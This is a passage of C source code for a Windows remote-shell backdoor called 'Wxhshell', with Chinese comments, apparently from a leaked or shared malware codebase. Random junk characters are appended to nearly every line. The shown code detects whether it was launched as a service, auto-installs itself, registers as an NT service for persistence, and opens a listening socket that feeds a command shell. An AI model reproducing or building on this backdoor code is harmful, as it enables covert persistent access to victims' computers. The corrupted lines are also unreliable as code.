DWORD BasePriority; kv]~'Srk
ULONG UniqueProcessId; Z"Zmo>cV4
ULONG InheritedFromUniqueProcessId; 3Ko/{f
} PROCESS_BASIC_INFORMATION; hM@
H A
|pm7 _[
PROCNTQSIP NtQueryInformationProcess;
//*fSF
T{Gj+7bQ~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !_"@^?,q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9l|@v=gw.
6TYY
UM"&
HANDLE hProcess; b $'FvZbk
PROCESS_BASIC_INFORMATION pbi; ydFD!mO
VAWF3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dOa+(fMe
if(NULL == hInst ) return 0; RtGWG*v4]
u0 P|0\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~F7-HaQJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uYn_? G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zxJ]"N
3Iua*#<m,
if (!NtQueryInformationProcess) return 0; wE[]6\_x1
]"J~:{, d
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MV<^!W
if(!hProcess) return 0; wL;lQ&
"*($cQ$v
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )n+Lo&C<
wy yWyf
CloseHandle(hProcess); QXL'^uO
,eOB(?Ku
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C+'/>=>a.
if(hProcess==NULL) return 0; ~{d$!`|a
%Da8{%{`Pc
HMODULE hMod; Mx&&0#;r
char procName[255]; 6tB+J F
unsigned long cbNeeded; YHkn2]^#A
$g/SWq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .}&`TU
}
uO);k5H
CloseHandle(hProcess); e7@ojOQ%
0vFD3}~>
if(strstr(procName,"services")) return 1; // 以服务启动 FQm`~rA~zt
>go,K{cK6
return 0; // 注册表启动 7"aN#;&
} `2' #!-
SFO({w(
// 主模块 D'7SAFOM
int StartWxhshell(LPSTR lpCmdLine) E7NV ^4h
{ XDsx3Ws
SOCKET wsl; esHg'8?U
BOOL val=TRUE; 0F]>Jby
int port=0; i8`Vv7LF
struct sockaddr_in door; ?$vCW|f
[OM7g'?S0
if(wscfg.ws_autoins) Install(); rv&<{@AS~
e]`[yf
port=atoi(lpCmdLine); G.rrv
XR+Y=R
if(port<=0) port=wscfg.ws_port; Kw-gojZ
$@"l#vJPfc
WSADATA data; >XK
PTC5H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @*OZx 9
/~}}"zx&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `Zf^E
>)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~$ng^D
door.sin_family = AF_INET; *;1,5L
door.sin_addr.s_addr = inet_addr("127.0.0.1"); oz AS[B6
door.sin_port = htons(port); O]lSWEe
e91aK
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %JXE5l+pJ
closesocket(wsl); W=vG$
return 1; 6`O.!|)
} hakKs.U|[
mk1bcK9
if(listen(wsl,2) == INVALID_SOCKET) { DSC$i|
closesocket(wsl); :e]a$
return 1; QcgRAo+u
} *i]=f6G
Wxhshell(wsl); GKOD/,
WSACleanup();
ugo.@
b6}H$Sx~
return 0; mFg<dTx0c8
`!XY]PI+e
} iJ~Zkd
V"*O=h
// 以NT服务方式启动 .l>77zM6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #z&&M"*a|
{ X*M#FT-
DWORD status = 0; |kw)KEi}H
DWORD specificError = 0xfffffff; UF?H>Y&
U@gn;@\
serviceStatus.dwServiceType = SERVICE_WIN32; d\p,2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;gBRCZ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0*rQ3Z
serviceStatus.dwWin32ExitCode = 0; N03HQp)g
serviceStatus.dwServiceSpecificExitCode = 0; 2r!s*b\Ix
serviceStatus.dwCheckPoint = 0; ,a gc
serviceStatus.dwWaitHint = 0; !_`&Wks
4#ug]X4Y')
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8)O[Aq::
if (hServiceStatusHandle==0) return; bu
|a0h7e
ERpnuMb
status = GetLastError(); hJn%mdx~w|
if (status!=NO_ERROR) crqpV F]1]
{ V=zi
>o`
serviceStatus.dwCurrentState = SERVICE_STOPPED; Y,WuBH
serviceStatus.dwCheckPoint = 0; #cnq(S=.
serviceStatus.dwWaitHint = 0; V^JV4 `o
serviceStatus.dwWin32ExitCode = status; N
F2/B#q
serviceStatus.dwServiceSpecificExitCode = specificError; S'A>2>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (5R?#vj
return; 1y-y6q
} /4c\K-Z;
Jd%H2`
serviceStatus.dwCurrentState = SERVICE_RUNNING; Fz1_w$^
serviceStatus.dwCheckPoint = 0; 86(I^=
serviceStatus.dwWaitHint = 0; I|>^1kr8w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 94+KdHAo^M
} wT `a3Ymm
Q7R~{5r>W
// 处理NT服务事件,比如:启动、停止 j<u@j+V
VOID WINAPI NTServiceHandler(DWORD fdwControl) vg
D77
{ j:k[90
switch(fdwControl) '`eO\huf
{ KMU4n-s"o
case SERVICE_CONTROL_STOP: \=uKHNP?#
serviceStatus.dwWin32ExitCode = 0; "ul {d(K3
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]3VI|f$$
serviceStatus.dwCheckPoint = 0; q8^^H$<Db
serviceStatus.dwWaitHint = 0; 29!q!g |
{ ?%`@ub$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); twP,cyR
} Fb^:V4<T
return; RnhL<
Ywu
case SERVICE_CONTROL_PAUSE: ,_yhz0.
serviceStatus.dwCurrentState = SERVICE_PAUSED; /x5rf
break; VCn{mp*h
case SERVICE_CONTROL_CONTINUE: an|x$e7|?
serviceStatus.dwCurrentState = SERVICE_RUNNING; p8Q,@ql.
break; HR
;)|j{!
case SERVICE_CONTROL_INTERROGATE: aCQ?fq
break; >Y
#t`6,!
}; 11<Qxu$rL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); > `n,S
} m\$\ 09
&m|wH4\
// 标准应用程序主函数 AT9q3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T-5nB>)
{ mMb'@
Z7_m)@%;kk
// 获取操作系统版本 r9 ui|>U"
OsIsNt=GetOsVer(); 3E>frR\!I
GetModuleFileName(NULL,ExeFile,MAX_PATH); !R1.7}O
h&Efg